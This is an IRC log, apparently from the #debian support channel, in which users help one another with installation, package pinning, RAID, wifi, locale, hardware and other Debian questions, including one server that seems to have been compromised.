| 05:46.59 | Mandor | Vasistha: I don't have a thinkpad, so can't help with that one. Good luck! |
| 05:47.16 | Vasistha | thanks, though! |
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| 06:07.50 | Mandor | Hmm. apt-get install kde dragged in enough packages for headless x11vnc to work. |
| 06:08.11 | Mandor | Although oddly, it didn't start a window manager. |
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| 06:37.59 | nutron | date |
| 06:38.01 | nutron | ugh heh |
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| 07:21.33 | meltphace | is there a debian package for lighttpd1.5 anywhere |
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| 07:26.21 | mee | wow, ksplice is an amazing blog. I can't believe I am just now discovering it |
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| 07:27.08 | sidh | Greetings |
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| 07:28.04 | Bartzy | Anyone know of a problem of glipper in gnome panel ? On restart it goes crazy |
| 07:28.14 | Bartzy | ruining the panel ;p |
| 07:28.49 | sidh | I'm installing a lenny distribution and I would like to know if it is possible to add a route before fetching additionnal packages during debian installer process ? |
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| 07:29.52 | sep | sidh, alt+f2 |
| 07:33.19 | sidh | sep: thank you , now i have to find how can i send a alt-f2 through the vnc proxmox console |
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| 07:33.40 | sidh | but I know now it is possible |
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| 07:34.46 | sep | you can also use alt+arrow left or alt+arrow right |
| 07:36.07 | sep | and i think you need to run d-i and not g-i in g-i you can pick somethine like "cli console" in the meny, but i never use that (grafical installer) so i don't know. |
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| 07:43.56 | sidh | sep: alt + arrows works like a charm, thanks you very much |
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| 08:12.45 | Bartzy | I have an daemon/app that shouts stuff at the console |
| 08:12.50 | Bartzy | How can I suppress that output ? |
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| 08:21.18 | sep | Bartzy, usualy you tweak what facility and priority the app log at. if it uses syslog. if you start $something on the command line. you usualy use command line arguments to reduce noise. or redirect with something like $something -arguments >/var/log/myapp.log |
| 08:21.46 | Bartzy | yeah but I don't know what's that app |
| 08:21.52 | Bartzy | it's not my server, I'm just fixing something |
| 08:22.00 | Bartzy | and those messages are killing me, I can't complete anything |
| 08:22.15 | Bartzy | so I was wondering if I can suppress output just for a while and then turn it on |
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| 08:31.35 | delby | hi. i am running squeeze and sometimes need package from sid. i have squeeze and unstable in sources.list. i included ' Package: * Pin: release n=sid Pin-Priority: 1' in /etc/apt/preferences, but only that, with no reference to squeeze. is that enough to make sure everything remains squeeze apart from when i use -t unstable? |
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| 08:42.32 | jcress | i have a usb hard drive i'm trying to format with gparted, though it doesnt show up in devices. (on either of the 2 squeeze machines i plug it in to) |
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| 08:49.29 | bolt-work | Bartzy: just use another console |
| 08:49.44 | bolt-work | Bartzy: if you're on tty1, where things are mostly spit out by such apps, just use tty2 |
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| 08:50.11 | bolt-work | Bartzy: if it goes out on all tty's (and SSH) there might actually be something seriously wrong |
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| 08:54.40 | M0ffe | Am I really correct that RAID autodetect only works for 0.90 RAID superblocks? |
| 08:56.01 | M0ffe | I just installed a new squeeze system (using RAID1 and 1.2 superblocks - which is what the installer chose) and when trying to boot a kernel without initrd it just claims "md: invalid raid superblock magic for sdXY" for all 0xFD partitions... |
| 08:56.42 | vtts | M0ffe, yep, 0.9 only |
| 08:57.36 | M0ffe | Damn! |
| 08:57.48 | M0ffe | Great, I'll have to go with a initrd then |
| 08:57.52 | M0ffe | vtts: Thank you! |
| 08:58.04 | vtts | or you could recreate md with 0.9 :) |
| 08:58.21 | M0ffe | I'll have to reinstall the system then... |
| 08:59.42 | jcress | im on squeeze, i have a usb drive i need to format, but, it doesnt show up in the 'devices' section of gparted, not sure how to proceed. pointer? |
| 09:00.11 | M0ffe | It seems 1.X mostly is more flexible wrt number of devices and expansion, if that is the case, there is not exactly much reason to go for 1.2 |
| 09:00.33 | vtts | jcress, check "dmesg | tail" when you plug in your usb drive, it should write you a device name |
| 09:01.41 | jcress | vtts: [175675.552450] hub 2-0:1.0: unable to enumerate USB device on port 3 |
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| 09:03.08 | gandhijee | hey, anyone know how i can trun an int value in to a char array inside the kernel? |
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| 09:06.05 | jcress | vtts: here's output from dmesg http://pastebin.com/XkjzdNv9 |
| 09:12.02 | vtts | gandhijee, i don't know what you mean by "inside the kernel" but maybe snprintf() would help |
| 09:12.33 | gandhijee | vtts: i have a register i am reading, and i want to be able to read it from a proc entry |
| 09:12.48 | gandhijee | and from what i can see, i need to populate proc with a string |
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| 09:14.25 | Canar | any plymouth users around? |
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| 09:15.04 | Canar | i'm trying to get debian booting without all the mode-switching |
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| 09:21.29 | bittin | what should i have on my small debianserver? |
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| 09:33.09 | Agiofws | hello |
| 09:33.32 | Agiofws | HOW and where does a debian squeeze user set up his WIFI ? |
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| 09:34.05 | Agiofws | since upgrading i am getting disconnects and dis associations all the time ... |
| 09:34.08 | petern_ | i use network-manager |
| 09:34.19 | Agiofws | gui app ? |
| 09:34.23 | petern_ | yes |
| 09:34.30 | petern_ | well, ish |
| 09:34.41 | Agiofws | is there a console type ? |
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| 09:35.07 | CissWit | Agiofws: iwconfig + wpasupplicant |
| 09:35.13 | petern_ | for console, i always just ran the wpasupplicant directly |
| 09:35.44 | Agiofws | do you leave commands in rc.local ? |
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| 09:35.56 | CissWit | Nope, why would i do that ? |
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| 09:37.51 | Agiofws | CissWit, can you take a look |
| 09:37.54 | Agiofws | http://www.ideone.com/2Y1uo |
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| 09:38.14 | itchi | Agiofws: If you want you can take a look to wicd, there's an cli aswell as a GTK version |
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| 09:38.37 | krion | hi |
| 09:38.42 | CissWit | Agiofws: do you know "ifupdown" ? |
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| 09:39.21 | Agiofws | no |
| 09:39.22 | CissWit | it's the good tool to use if you want to auto up your interface |
| 09:39.27 | CissWit | have a look at man ifup |
| 09:39.51 | Agiofws | i am asking where do i set my IP of my nics for example ... |
| 09:40.02 | Agiofws | there must be some kind of files |
| 09:40.06 | delby | why am i getting this error 'Err http://security.debian.org unstable/updates/main Sources 404 Not Found [IP: 212.211.132.32 80]' after issuing aptitude update? |
| 09:40.07 | Agiofws | file* |
| 09:40.27 | CissWit | Agiofws: what is "nics" ? |
| 09:40.38 | itchi | Agiofws: /etc/network/interfaces |
| 09:40.40 | Agiofws | network interface cards |
| 09:41.07 | itchi | Agiofws: Why do you put your stuff in /etc/init.d/rc.local ? |
| 09:41.32 | itchi | Could have some sad effect in rc.local iirc |
| 09:41.40 | CissWit | Agiofws: like i said, look at ifupdown. It's there. man interfaces and man ifup |
| 09:42.01 | Agiofws | http://imagebin.org/128144 |
| 09:42.04 | Agiofws | ? |
| 09:42.31 | itchi | delby: did you do an aptitude update first ? |
| 09:42.42 | itchi | delby: ignore lol |
| 09:42.46 | Agiofws | because i think once o disabled rc.local and my wifi did not work |
| 09:43.26 | itchi | delby: The question should be: why do you use unstable? :) |
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| 09:44.38 | delby | itchi: i am running squeeze but i sometimes need packages from sid, so i added unstable in sources.list and gave it law pinning. |
| 09:45.59 | itchi | delby: Seems that the mentioned ip "doesn't" work |
| 09:46.01 | petern_ | delby, there are no security updates for unstable |
| 09:46.09 | itchi | delby: i ping to the FQDN and get another ip |
| 09:46.16 | itchi | 195.20.242.89 |
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| 10:01.49 | Upgreydd | hi all, i have a trouble with grub. When i've installing debian grub instalation failed. Lilo instalation Too :/ now i'm on the Win7 and i can't install grub. any sugestions? |
| 10:05.41 | bazinga- | hello, i have an issue running a linux mint 10 atm i chmod any directories within my root |
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| 10:05.46 | bazinga- | lol |
| 10:05.54 | bazinga- | Upgreydd any errors you get? |
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| 10:08.49 | Upgreydd | ok i'm back |
| 10:08.58 | Upgreydd | any ideas with grub? :/ |
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| 11:20.45 | io41 | hi |
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| 11:49.58 | tvollmer | Hi does anyone know of a technology for a clustered block device? |
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| 11:55.48 | mbruins | hi, is there a package that contains zork? (textbased game) |
| 11:55.55 | mbruins | cant find it with aptitude search so far |
| 11:56.51 | xXArchangelXx | mbruins, getdeb might be of help for you |
| 11:57.25 | mbruins | xXArchangelXx: thanks ill google getdeb |
| 11:57.33 | abrotman | mbruins: the original? |
| 11:57.44 | Canar | mbruins: frotz + http://www.csd.uwo.ca/Infocom/games.html |
| 11:57.57 | mbruins | abrotman: yeah xD |
| 11:58.05 | mbruins | xXArchangelXx: no thanks but i dont like to add other repos |
| 11:58.16 | abrotman | mbruins: i can't imagine so .. it would have to run in ... uhm . DosBox i think |
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| 11:58.33 | Canar | fine |
| 11:58.38 | Canar | everyone just ignore me >_> |
| 11:58.59 | xXArchangelXx | mbruins, you dont have to add any repos , getdeb is where every Deb on the planet is stored and available for download |
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| 11:59.15 | CissWit | dpkg: getdeb ? |
| 11:59.15 | dpkg | GetDeb is a community project for third party packages for Ubuntu, and is not supported by #debian. http://www.getdeb.net/ These packages are NOT intended for Debian, and may break your system. Do NOT use them. If they do break your system, tough luck, you were warned. |
| 11:59.27 | abrotman | xXArchangelXx: and they're NOT for Debian |
| 11:59.32 | mbruins | doesnt sound to good |
| 11:59.34 | mbruins | to be honest |
| 11:59.35 | xXArchangelXx | woops srry |
| 11:59.39 | abrotman | xXArchangelXx: recommending them to Debian users is a piss poor idea |
| 11:59.46 | Canar | is anyone reading this? |
| 11:59.48 | abrotman | s/to Debian users// |
| 11:59.54 | Canar | or is my client broken or something? |
| 12:00.07 | abrotman | Canar: he asked for it in .deb .. but yes, i see it |
| 12:00.18 | Canar | frotz is the package |
| 12:00.30 | Canar | you install that and point it at the data files from the site i linked |
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| 12:00.59 | abrotman | !beer Canar |
| 12:00.59 | dpkg | pulls out a tasty Bornem Tripple for Canar |
| 12:01.35 | mbruins | abrotman: so to run the original ill have to run dosbox and just run a dos game file correct? |
| 12:02.15 | Canar | :headdesk: |
| 12:02.23 | mbruins | !zork |
| 12:02.23 | dpkg | zork is, like, a good game derived from adventure, created by infocom |
| 12:02.35 | mbruins | hm, dpkg seems to know it though.. |
| 12:03.05 | Canar | protip: read the lines that start with <Canar> |
| 12:03.20 | mbruins | what seems to be the problem Canar |
| 12:03.32 | mbruins | ah frotz |
| 12:03.32 | Canar | mbruins: frotz is the interpreter you want |
| 12:03.37 | abrotman | mbruins: talk to Canar .. he seems to have done this before .. I haven't played Zork since uhm ... the 90s? |
| 12:03.42 | abrotman | like the early 90s |
| 12:03.42 | mbruins | well i have a look at that, thank you verry much |
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| 12:04.00 | mbruins | ive never played it but i hear it alot in geeky confersations so i want to try it |
| 12:04.05 | abrotman | but i do still love playing TA! |
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| 12:04.36 | mbruins | abrotman: what does TA stand for? |
| 12:05.42 | Canar | random guess: text adventures |
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| 12:06.04 | mbruins | ah :x |
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| 12:09.24 | mbruins | Canar: what kind of file should i download from http://www.csd.uwo.ca/Infocom/games.html |
| 12:10.53 | Canar | zip should be fine |
| 12:10.59 | Canar | relevant info appears to be in the data folder |
| 12:11.27 | mbruins | Canar: thanks again |
| 12:12.03 | Canar | i'd test it for you but i appear to have just nuked the bios of my laptop and can't seem to reset it >_> |
| 12:12.26 | Canar | *sigh* |
| 12:12.54 | abrotman | mbruins: Total Annihilation |
| 12:13.08 | Canar | hurf durf |
| 12:13.50 | mbruins | ah a strategie game |
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| 12:16.29 | Trevelyan | Hi, this appears to not work? http://paste.debian.net/102531/ apt-get upgrade still wants to install packages from debian |
| 12:18.11 | Trevelyan | tried originally 950 and 50, then 950 -100, now 1000 and -500 |
| 12:18.40 | abrotman | did you apt-get update? |
| 12:18.47 | Trevelyan | I also occasionally get: W: No priority (or zero) specified for pin |
| 12:18.54 | Trevelyan | after every change |
| 12:19.54 | Trevelyan | I would like to get one or two packages from debian that are not in grip, but one is in grip to always use that one |
| 12:20.47 | Trevelyan | oops Pin-Priority not Priority ... |
| 12:21.42 | Trevelyan | working now |
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| 12:22.29 | kiall | Heya .. is there any simple way to do a "debuild clean" after a debuild? |
| 12:22.50 | kiall | (Im talking about the auto-generated files, rather than the package specific stuff) |
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| 12:39.41 | siyb | how would one remove all recommended/suggested packages, which have not been manually installed? |
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| 12:45.13 | fruitwerks | having an issue when running php - http://pastebin.com/LsMywWQe |
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| 12:47.34 | masak | hello, I'm about to start using Linux again after many years on Mac OS X. thinking of starting with Debian, which was my last choice. any arguments for/against choosing Debian over Ubuntu? |
| 12:47.40 | masak | any other distros I should consider? |
| 12:48.04 | marsje | masak: desktop or server? |
| 12:48.14 | fruitwerks | depends what you do on your computer, ubuntu has much newer software |
| 12:48.20 | masak | marsje: desktop. it's a laptop. |
| 12:48.46 | masak | I'm a software developer. I imagine I'll be using it mostly for writing code. |
| 12:48.48 | kiall | masak, other than ubuntu or debian? IMO no ;) .. ubuntu is certainly the most user friendly while retaining most of debians "power" ;) |
| 12:49.08 | masak | since work requires me to run Windows, I'll probably run Linux virtualized somehow. |
| 12:49.09 | fruitwerks | sounds like someone needs ubuntu |
| 12:49.16 | kiall | Honestly .. I'd try them both and see which you prefer... |
| 12:49.35 | masak | kiall: I plan on trying them both, either one after the other, or both at once :) |
| 12:49.55 | marsje | I'm running Ubuntu on my desktop, Debian on my server |
| 12:49.59 | abrotman | fruitwerks: did you compile your own PHP ? |
| 12:50.05 | masak | from afar, I haven't seen the need for the increased user-firendliness of Ubuntu. I liked Debian last time I used it. |
| 12:50.10 | abrotman | masak: I use Debian on multiple laptops and desktops .. works fine |
| 12:50.17 | fruitwerks | abrotman no I did not, dist supplied |
| 12:50.32 | abrotman | fruitwerks: dpkg -l php5-common |
| 12:50.45 | masak | I'm the kind of Linux user that can make a happy home inside a blackbox session. |
| 12:51.05 | fruitwerks | <PROTECTED> |
| 12:51.12 | abrotman | masak: just try them both, decide for yourself .. IRC opinions are biased :) |
| 12:51.24 | fruitwerks | very biased :) |
| 12:51.25 | abrotman | fruitwerks: show us the command you're using and all of the output |
| 12:51.29 | masak | abrotman: :) |
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| 12:51.51 | fruitwerks | abrotman, that pastebin was the full output of "php" from the cli |
| 12:52.07 | abrotman | you didn't feed it a script? |
| 12:52.16 | fruitwerks | abrotman nope |
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| 12:55.06 | axx_ | hi all! How can I see what packages depend on, or recommend, package foo? |
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| 12:55.33 | abrotman | axx_: man apt-cache |
| 12:55.43 | abrotman | fruitwerks: and if you do feed it a script ? |
| 12:55.45 | axx_ | abrotman k thx |
| 12:56.25 | fruitwerks | abrotman, same thing, but the script appears to work properly - either way I have to ctrl-c to get back to my console |
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| 12:57.00 | axx_ | apt-cache rdepends foo |
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| 13:04.38 | fruitwerks | abrotman, suggestions? |
| 13:04.47 | abrotman | oh sorry, got distracted |
| 13:04.54 | fruitwerks | lol.. np |
| 13:05.21 | abrotman | yeah you know .. paying work :) |
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| 13:05.37 | abrotman | fruitwerks: have you tried to reinstall php-related packages? did you touch the php.ini files? |
| 13:05.48 | abrotman | I've seen that before, but do not recall the fix |
| 13:06.07 | lyakh | guys, there's a BAD grep bug under squeeze: http://pastebin.com/0D8fTXkP |
| 13:06.18 | rigved | what is the default chat client in debian lenny? i mean for irc, yahoo, gtalk etc. |
| 13:06.46 | fruitwerks | I have reinstalled all the 'base' php stuff and all net / snmp related packages, the only mods I have to the php.ini are memory / post limits |
| 13:07.14 | jelly | lyakh: that's no necessarily a bug in grep, but a bug in your chosen locale collation sequences. |
| 13:07.34 | lyakh | jelly: how?... |
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| 13:07.50 | jelly | lyakh: does LC_ALL=C grep "[A-Z]13" /tmp/greptest work as expected? |
| 13:07.52 | abrotman | rigved: really no "default", lots of people use pidgin |
| 13:08.19 | whonix | i miss yellow lines in my road |
| 13:08.25 | rigved | abrotman: ok. thanx |
| 13:08.48 | lyakh | jehan: it does, well, yes, sure, it can be some locale / utf stuff, but should it at all be possible to configure a system like that?... |
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| 13:08.59 | lyakh | oops, jelly ^^^ |
| 13:09.29 | pippijn | hi all |
| 13:09.45 | abrotman | fruitwerks: is the php5-snmp installed? |
| 13:09.50 | pippijn | how can I do vpath (out of tree) builds with debhelper? |
| 13:10.12 | pippijn | I would like to build in, say, debian/_build |
| 13:10.18 | lyakh | jelly: and how do I fix my "chosen locale collation sequences?" |
| 13:10.39 | fruitwerks | abrotman, yes and it was just reinstalled in an attempt to fix |
| 13:10.46 | pippijn | or maybe debian/$host_triplet-build |
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| 13:11.50 | jelly | lyakh: inspect your locale environment variables. pastebin the output of "locale" |
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| 13:12.00 | Blackhold | hi |
| 13:12.13 | jelly | lyakh: also, env | egrep 'LANG|LC' |
| 13:12.44 | Blackhold | I'm installing x335 ibm server and I put a x86_64 installation, and tolds me that "this kernel requires an x86-64 cpu, but only detected an i1586 cpu" |
| 13:12.48 | Blackhold | some clue? |
| 13:13.01 | jelly | Blackhold: which Debian release are you trying to install? |
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| 13:13.41 | Blackhold | debian |
| 13:13.42 | lyakh | jelly: http://pastebin.com/gzXy4U43 - second part is the grep output |
| 13:13.44 | Blackhold | stable |
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| 13:14.51 | Blackhold | the 2010 release |
| 13:15.04 | Blackhold | it is a netinstall cd |
| 13:15.15 | pippijn | ah --builddirectory |
| 13:15.42 | jelly | lyakh: unset LC_ALL and LANG to work around the issue |
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| 13:16.34 | Blackhold | jelly: |
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| 13:17.06 | lyakh | jelly: hmm, thanks, I do set them in my .bashrc, don't remember what for anymore, I had a reason at some point... |
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| 13:23.55 | jelly | Blackhold: well, how old is that thing? It's possible the CPU(s) really are 32bit only. |
| 13:26.15 | Blackhold | btw |
| 13:26.26 | Blackhold | is a ibm xseries x335 |
| 13:26.33 | Blackhold | but allow 8gb of ram |
| 13:26.48 | jelly | that's not saying much |
| 13:26.49 | Blackhold | I preted to install openvz to this server |
| 13:26.57 | Blackhold | wait a moment |
| 13:27.06 | jelly | !lm |
| 13:27.06 | dpkg | from memory, lm is "long mode": grep -w lm /proc/cpuinfo |
| 13:27.49 | Blackhold | Intel Xeon up to 3.06GHz/533MHz |
| 13:28.02 | jelly | Blackhold: boot an x86 livecd, verify that there's a "lm" listed under flags in /proc/cpuinfo. If it's not, your CPU is not 64bit capable |
| 13:28.22 | Blackhold | ok |
| 13:28.25 | Blackhold | one moment |
| 13:28.55 | jelly | Blackhold: might be a P4 era server CPU. Intel has used the brand Xeon since P-II or P3. |
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| 13:29.31 | fruitwerks | I have some slot1 p3 xeon's - in a box :) |
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| 13:30.51 | fruitwerks | next to the 486dx4, the p1-100, p pro's and a fwe amd k somethings |
| 13:31.11 | Blackhold | jelly: ok |
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| 13:32.23 | minsa | where do I find the source code for "write" ? |
| 13:33.33 | jelly | minsa: in the source code for package that contains /usr/bin/write, most likely: dpkg -S $(which write) ... then apt-get source that package |
| 13:34.05 | dkr | minsa: bsdmainutils |
| 13:34.08 | minsa | jelly: thnx. |
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| 13:34.18 | dkr | dpkg -S didn't work since that is a symlink, heh |
| 13:34.18 | dpkg | Badgers ate my didn't work since that is a symlink, heh! |
| 13:34.48 | jelly | minsa: if /usr/bin/write is a symlink to something else, dereference the symlink... readlink -f $(which write), then dpkg -S that path |
| 13:34.57 | mguy | grr why do some mirrors only have dvd/bd |
| 13:35.02 | dkr | that's how I came up with bsdmainutils |
| 13:35.41 | minsa | found it. Looking at it now. thnx guys. |
| 13:35.53 | Blackhold | jelly: cat /proc/cpuinfo |grep lm has no output |
| 13:36.08 | fruitwerks | then you have no lm support |
| 13:36.11 | jelly | Blackhold: no x86_64 support then |
| 13:36.19 | Blackhold | buoh |
| 13:36.23 | Blackhold | so then |
| 13:36.30 | Blackhold | to use 8gb of ram is possible? |
| 13:36.51 | abrotman | yes |
| 13:36.51 | jelly | dpkg, tell Blackhold about bigmem |
| 13:37.19 | Blackhold | ok |
| 13:37.20 | Blackhold | thnks |
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| 13:38.26 | mguy | Blackhold: what do you have planned with OpenVZ? |
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| 13:41.03 | marvin2 | Can simple-cdd be used to create a custom Ubuntu distribution? |
| 13:41.10 | Blackhold | <PROTECTED> |
| 13:41.22 | Blackhold | and we have vz servers mounted as dns servers |
| 13:41.41 | Blackhold | and others services servers |
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| 13:42.18 | Blackhold | mguy: marsupi.org |
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| 13:49.59 | abrotman | marvin2: you would want to ask #ubuntu, not us |
| 13:51.18 | jelly | marvin2: possibly #debian-ubuntu on OFTC if the tool is only available in Debian |
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| 13:56.11 | nirazio | How to remove a deb without removing it's dependencies??? |
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| 13:57.36 | marvin2 | abrotman: getting no response on #ubuntu :( |
| 13:57.49 | abrotman | marvin2: that doesn't make it okay to ask #debian |
| 13:57.51 | marvin2 | jelly: Will try that, thanks |
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| 14:30.56 | abrotman | !qotd0 |
| 14:30.56 | dpkg | <debian-is-me> So I will have to think to fix this? |
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| 14:34.53 | Hyperi | Any suggestions to this? -> libdns55: Depends: libisc50 (= 1:9.6.ESV.R2+dfsg-0+lenny1) but 1:9.6.ESV.R3+dfsg-0+lenny1 is to be installed |
| 14:35.24 | abrotman | try to aptitude update/apt-get update .. and try again ? |
| 14:35.48 | rozie | if doesn't help - try another mirror |
| 14:35.56 | abrotman | loos like a security update? |
| 14:36.21 | rozie | still try update, then upgrade |
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| 14:38.04 | mariusk90 | why is testing and unstable runing on kernel 2.6.32? |
| 14:38.12 | rozie | BTW libdns55 is kind of obsolete |
| 14:38.22 | rozie | libdns58 is present in lenny |
| 14:38.53 | rozie | mariusk90: why does the Sun rise in the East? |
| 14:39.58 | mariusk90 | rozie, yep, ist kind of old, isnt there a reason? |
| 14:40.28 | rozie | OTOH it's kind of new |
| 14:40.39 | rozie | it's tested, stable... |
| 14:40.52 | mariusk90 | ok ty |
| 14:41.23 | rozie | and you can easily make your own kernel if you really need (I suppose you don't...) |
| 14:41.44 | mariusk90 | no, i am fine, i was just wondering |
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| 14:42.33 | acemi | 2.6.32 has long-term support kernel too |
| 14:42.40 | rozie | there's a lot of pretty old software in stable |
| 14:43.43 | mariusk90 | i was talking about unstable, but lts seems logic |
| 14:44.39 | rozie | I guess they polish present testing kernel in unstable |
| 14:44.52 | rozie | 2.6.35 is also long term |
| 14:45.45 | mariusk90 | ah ok |
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| 14:50.20 | Squarism | Can i list available versions for a package installed through apt-get? Is there some flag for apt-get to query such info? |
| 14:50.38 | Squarism | available in the PPA that is |
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| 14:54.06 | stew | Squarism: "apt-cache policy packagename" or apt-cache show packagename" |
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| 14:59.16 | cusco | hi |
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| 15:16.17 | akio | What steps would I have to do regarding installing Debian onto a SAN lun with lpfc? |
| 15:16.41 | akio | I'm using the squeeze b2 businesscard. |
| 15:17.16 | akio | When detecting and partitioning the lun does not show up, but I know it is there and presented correctly. |
| 15:20.16 | akio | Should I ask this in a different channel? |
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| 15:21.56 | abrotman | akio: you might want to try a daily .. though it's possible the driver is missing for the SAN ? |
| 15:23.07 | akio | I didn't do anything special, so I was wondering if someone had already done this so that I could glean the steps that were taken. |
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| 15:23.23 | akio | I had to give it the bnx2x firmware. |
| 15:23.42 | akio | I didn't know if that was closed binary firmware. |
| 15:23.48 | akio | lpfc |
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| 15:27.56 | gnarface | *sigh* i hate to ask this question but uh... two-factor authentication in debian? |
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| 15:28.42 | abrotman | akio: all 'blobs' are now removed .. |
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| 15:29.32 | akio | Trying to put Debian on evil hardware is extremely difficult. |
| 15:29.49 | akio | I din't have a choice on the hardware, it was free. |
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| 15:30.42 | akio | Not that this has anything to do with that. |
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| 15:31.41 | akio | I wonder about installing to SAN luns in general for Debian. |
| 15:31.45 | abrotman | akio: http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/squeeze_d-i/current/ |
| 15:32.11 | akio | That is so awesome it hurts. |
| 15:32.38 | abrotman | ? |
| 15:32.48 | akio | I never knew that existed. |
| 15:33.07 | gnarface | so has anyone ever had some jackass client ask you if debian has support for dual-factor authentication? what would you say? |
| 15:33.10 | abrotman | kind of new .. they recognize that not everyone can do the install without the blobs ... they're nice enough to put them |
| 15:33.13 | abrotman | put it out there |
| 15:33.34 | abrotman | gnarface: like with the token keys? |
| 15:33.38 | akio | I bet that is politically sensitive. |
| 15:33.48 | akio | And I understand. |
| 15:33.53 | abrotman | akio: the project voted to remove blobs some time ago |
| 15:33.58 | akio | I knew about that. |
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| 15:34.13 | gnarface | abrotman: maybe? from what i can tell dual factor authentication can mean just about anything they want it to mean |
| 15:34.16 | abrotman | gnarface: http://www.linuxjournal.com/article/8957 .. is a start ? |
| 15:34.16 | akio | I just figured that there would be other ways of going about loading them. |
| 15:34.31 | gnarface | abrotman: yea read that... but technically its still just one factor |
| 15:34.51 | gnarface | i do ssh public key auth all the time |
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| 15:35.11 | abrotman | http://www.google.com/search?source=ig&hl=en&rlz=&=&q=two+factor+authentication+linux&btnG=Google+Search&aq=0&oq= .. has some stuff .. but your question is a wee bit vague |
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| 15:35.28 | gnarface | yea i know. :( i think they mean something like a keychain the generates a temporary 60 second disposable pin but i'm trying to make a case for them just using openvpn |
| 15:36.52 | gnarface | it doesn't help that they don't really know what a vpn is OR what dual factor authentication really is for - what i was hoping for was a debian package that had two-factor in its name or something |
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| 15:42.08 | delby | hi. i am running squeeze on laptop with 17" 1920x1200 screen. the problem is that the font in tty is very small. how do i fix that? |
| 15:42.27 | rozie | use larger font? |
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| 15:42.44 | rozie | oh. tty |
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| 15:43.05 | rozie | you probably can specify graphic card mode which you want to use |
| 15:44.01 | rozie | delby: http://www.linuxquestions.org/questions/linux-hardware-18/terminal-window-resolution-better-than-80x24-63927/ - take a look at this |
| 15:44.32 | rozie | (pretty old) |
| 15:45.56 | delby | rozie: thanks |
| 15:45.57 | imganquan | delby: try something like jfbterm or fbterm. you can set the font size in configure file. |
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| 15:47.08 | delby | imganquan: ok will look into it. thanks |
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| 15:52.54 | Harzilein | rozie: i'm not sure he's talking about console |
| 15:53.16 | Harzilein | rozie: "small font" could mean he's using xterm and "fixed" is too small for him |
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| 16:11.13 | porters | Is the nvidia drive in the non-free repository? |
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| 16:13.27 | thomaschaaf | I have a problem without doing anything find and ls are not working anymore |
| 16:13.56 | petemc | what happens when you try to use them? |
| 16:14.06 | thomaschaaf | bash: /usr/bin/find: No such file or directory |
| 16:14.27 | thomaschaaf | but using cd /usr/bin and doing trying to type "./find" |
| 16:14.30 | thomaschaaf | it does exist |
| 16:14.40 | petemc | anything in dmesg ? |
| 16:14.53 | Bop | i have google chrome from oficial reps and would like to install beta version , already got the deb file ... what command should i run to update ? |
| 16:15.39 | thomaschaaf | petemc: what should I look for? |
| 16:15.50 | petemc | thomaschaaf: errors |
| 16:16.10 | petemc | or warnings, that type of thing |
| 16:16.39 | thomaschaaf | no |
| 16:16.57 | petemc | you could try running 'hash -r' |
| 16:17.57 | thomaschaaf | I tried hash -l first |
| 16:18.06 | thomaschaaf | and now it's empty |
| 16:18.09 | thomaschaaf | after the -r |
| 16:18.52 | petemc | does ls work? |
| 16:19.06 | thomaschaaf | no |
| 16:19.08 | thomaschaaf | http://paste.org/pastebin/view/26223 |
| 16:19.11 | thomaschaaf | was bofre |
| 16:19.19 | thomaschaaf | now it says that the hash table is empty |
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| 16:19.59 | petemc | thats normal |
| 16:20.21 | thomaschaaf | so all files seem to exist |
| 16:20.46 | thomaschaaf | e.g. cat /bin/ls |
| 16:20.47 | thomaschaaf | does work |
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| 16:21.15 | petemc | is your $PATH ok ? |
| 16:21.17 | thomaschaaf | and some command do work too like /bin/dir |
| 16:21.20 | thomaschaaf | how do I check |
| 16:21.25 | petemc | echo $PATH |
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| 16:21.51 | thomaschaaf | seems normal /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
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| 16:22.52 | thomaschaaf | I seems all commands work except find and ls |
| 16:23.06 | petemc | thomaschaaf: what sort of environment is this? terminal in X or ssh or... ? |
| 16:23.10 | thomaschaaf | ifconfig also doesn'T waork |
| 16:23.11 | thomaschaaf | ssh |
| 16:23.46 | petemc | doesnt work = No such file or directory ? |
| 16:24.06 | jhutchins_lt | roooted |
| 16:24.09 | thomaschaaf | yep |
| 16:24.20 | thomaschaaf | what do you mean by roooted? |
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| 16:25.33 | thomaschaaf | can I reboot any part through /etc/init.d |
| 16:26.50 | jhutchins_lt | thomaschaaf: Better check that login works. |
| 16:27.01 | thomaschaaf | should I try rebooting the whole os? it's been up 118 days .. |
| 16:27.21 | petemc | thomaschaaf: if you run 'w' , do you see anything other than yourself logged in? |
| 16:27.21 | jhutchins_lt | thomaschaaf: That means you missed at least one kernel security update3. |
| 16:27.36 | thomaschaaf | just me |
| 16:27.44 | thomaschaaf | actually |
| 16:27.46 | petemc | and 'last' ? |
| 16:27.47 | thomaschaaf | noone |
| 16:27.48 | thomaschaaf | no one |
| 16:27.58 | thomaschaaf | USER TTY LOGIN@ IDLE JCPU PCPU WHAT |
| 16:28.02 | thomaschaaf | thats all |
| 16:28.14 | petemc | sounds a bit screwed up |
| 16:28.18 | thomaschaaf | just our server |
| 16:28.39 | thomaschaaf | its limited through ssh to just accept connections from 192.168.* |
| 16:28.48 | cusco | Bop: http://cusco.tretas.eu/blog/?p=21 |
| 16:28.50 | petemc | check syslog / messages |
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| 16:29.33 | Bop | cusco, i've updated to unstable , its good |
| 16:29.50 | cusco | are you talking about chrome or debian? |
| 16:30.33 | johskar | I'm thinking about setting up a ftp server but not sure wich one to choose, need to be easy to configure and use both virtual and real users, sugestions? guides on such setups? all _constructive_ input is welcome. (debian squeeze) |
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| 16:32.17 | thomaschaaf | I can't even do apt-get install --reinstall findutils |
| 16:32.35 | dutchfish | johskar: the most constructive answer i can think of is: don't ! |
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| 16:33.30 | petemc | thomaschaaf: check syslog / messages |
| 16:33.47 | dutchfish | johskar: the next best is use vsftpd |
| 16:34.53 | Bop | cusco, chrome |
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| 16:35.39 | dutchfish | johskar: here is how: http://howto.gumph.org/content/setup-virtual-users-and-directories-in-vsftpd/ |
| 16:35.58 | thomaschaaf | nothing :( |
| 16:36.03 | thomaschaaf | I will try restarting the whole vm.. |
| 16:36.10 | thomaschaaf | I hope that helps |
| 16:37.50 | johskar | dutchfish: ty, I'll try that atleast, not doing it is not an option :P |
| 16:38.04 | dutchfish | johskar: yw |
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| 16:41.05 | thomaschaaf | didn't help |
| 16:41.32 | topgun21 | can im use vsftp d to transfer files between gosts on my local network? |
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| 16:45.30 | petemc | thomaschaaf: so, you're still having problems with some commands, but not others? |
| 16:45.59 | thomaschaaf | so I did a diff and it seems ls is smaller than on my other systems |
